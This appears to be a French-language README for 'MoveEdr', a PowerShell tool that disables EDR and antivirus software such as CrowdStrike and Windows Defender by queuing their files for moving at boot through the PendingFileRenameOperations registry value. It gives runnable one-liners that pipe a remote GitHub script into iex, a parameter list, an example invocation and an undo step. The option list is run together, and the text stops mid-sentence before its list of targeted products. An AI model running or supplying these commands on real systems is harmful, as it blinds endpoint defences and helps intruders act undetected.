
Désactiver définitivement les EDR en tant qu'administrateur local
Si vous êtes administrateur, vous pouvez forcer Windows à supprimer ou déplacer des dossiers et des fichiers immédiatement après le démarrage, avant que les services ne soient lancés. Cela peut être utilisé pour désactiver des EDR.
[!CAUTION] There is an issue with CrowdStrike which results in a bootloop with the message "INACCESSIBLE_BOOT_DEVICE". My theory is that either CrowdStrike itself or a software deployment solution is trying to install the missing CrowdStrike files but fails and leaves it in a broken state. I am not sure if this depends on the elapsed time after the move or on the number of performed reboots. Moving CrowdStrike away for the first time and rebooting works fine. Maybe schedule the undo after the first reboot to err on the side of caution.
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex; MoveEdr
# Reboot!
Les options suivantes sont disponibles
Undo : Annule le déplacement de l'EDR, fonctionne avec CustomPathsClear : Supprime la valeur de la clé de registrePrint : Affiche la valeur de la clé de registre dans un format lisible plutôt que sous forme de chaînes terminées par des octets nulsCustomOnly : Par défaut, les et sont ajoutés aux déplacements intégrés. Cette option garantit que vos chemins personnalisés sont déplacés.CustomPathsFullyCustomPathsCustomPaths : Spécifiez vos propres chemins d'EDR au lieu d'utiliser ceux intégrés. Ne prend que des sources en entrée ; pour personnaliser aussi la destination, utilisez FullyCustomPaths à la place.FullyCustomPaths : Spécifie les sources et les destinations, vous donne le contrôle sur la destination au lieu d'utiliser un $Suffix.Suffix : Utilise un suffixe différent pour les fichiers déplacés au lieu du _bak par défautDump : Exporte les valeurs de la clé de registre dans un format pouvant être utilisé avec LoadLoad : Charge les valeurs de la clé de registre précédemment exportéesDefenderHard : Au lieu de déplacer uniquement certains exécutables de Windows Defender, déplace tout le dossier Windows DefenderIgnoreOld : Ne conserve pas les valeurs déjà existantes de la clé de registre, les écrase aveuglémentReboot : Effectue un redémarrage immédiatement après avoir défini la clé de registre. Peut installer des mises à jour Windows et prendre du temps à redémarrer 😬curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot
# Do what you need to do!
# Undo
# Same command as before, just append -Undo
curl https://raw.githubusercontent.com/duhirsch/MoveEdr/refs/heads/main/MoveEdr.ps1 | iex
MoveEdr -CustomPaths "C:\Program Files\newAndShinyEdr","C:\Windows\System32\drivers\newAndShinyEdr" -Suffix "_x33f" -IgnoreOld -DefenderHard -Reboot -Undo
Certains programmes disposent d'une fonctionnalité qui empêche même les administrateurs locaux de les désinstaller ou de les désactiver. La plupart du temps, il s'agit d'AV/EDR qui vous demandent un mot de passe de désactivation, même lorsque vous êtes administrateur.
Voici une astuce pour les désactiver en déplaçant des fichiers et des dossiers afin qu'ils ne puissent pas être démarrés au prochain démarrage.
Le PendMoves de SysInternals fournit movefile.exe avec l'explication suivante :
There are several applications, such as service packs and hotfixes, that must replace a file that's in use and is unable to. Windows therefore provides the MoveFileEx API to rename or delete a file and allows the caller to specify that they want the operation to take place the next time the system boots, before the files are referenced. Session Manager performs this task by reading the registered rename and delete commands from the HKLM\System\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations value.
Comment MoveFileEx fait-il exactement cela ? Vérifions la documentation :
The function stores the locations of the files to be renamed at restart in the following registry value: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
This registry value is of type REG_MULTI_SZ. Each rename operation stores one of the following NULL-terminated strings, depending on whether the rename is a delete or not:
szSrcFile\0\0
szSrcFile\0szDstFile\0
Cela signifie que nous pouvons obtenir le même effet que movefile.exe en créant la clé de registre PendingFileRenameOperations et en saisissant les chemins des fichiers/répertoires que nous voulons supprimer dans le format REG_MULTI_SZ correct.
Le script MoveEdr automatise la création des clés de registre correctes pour les AV/EDR suivants :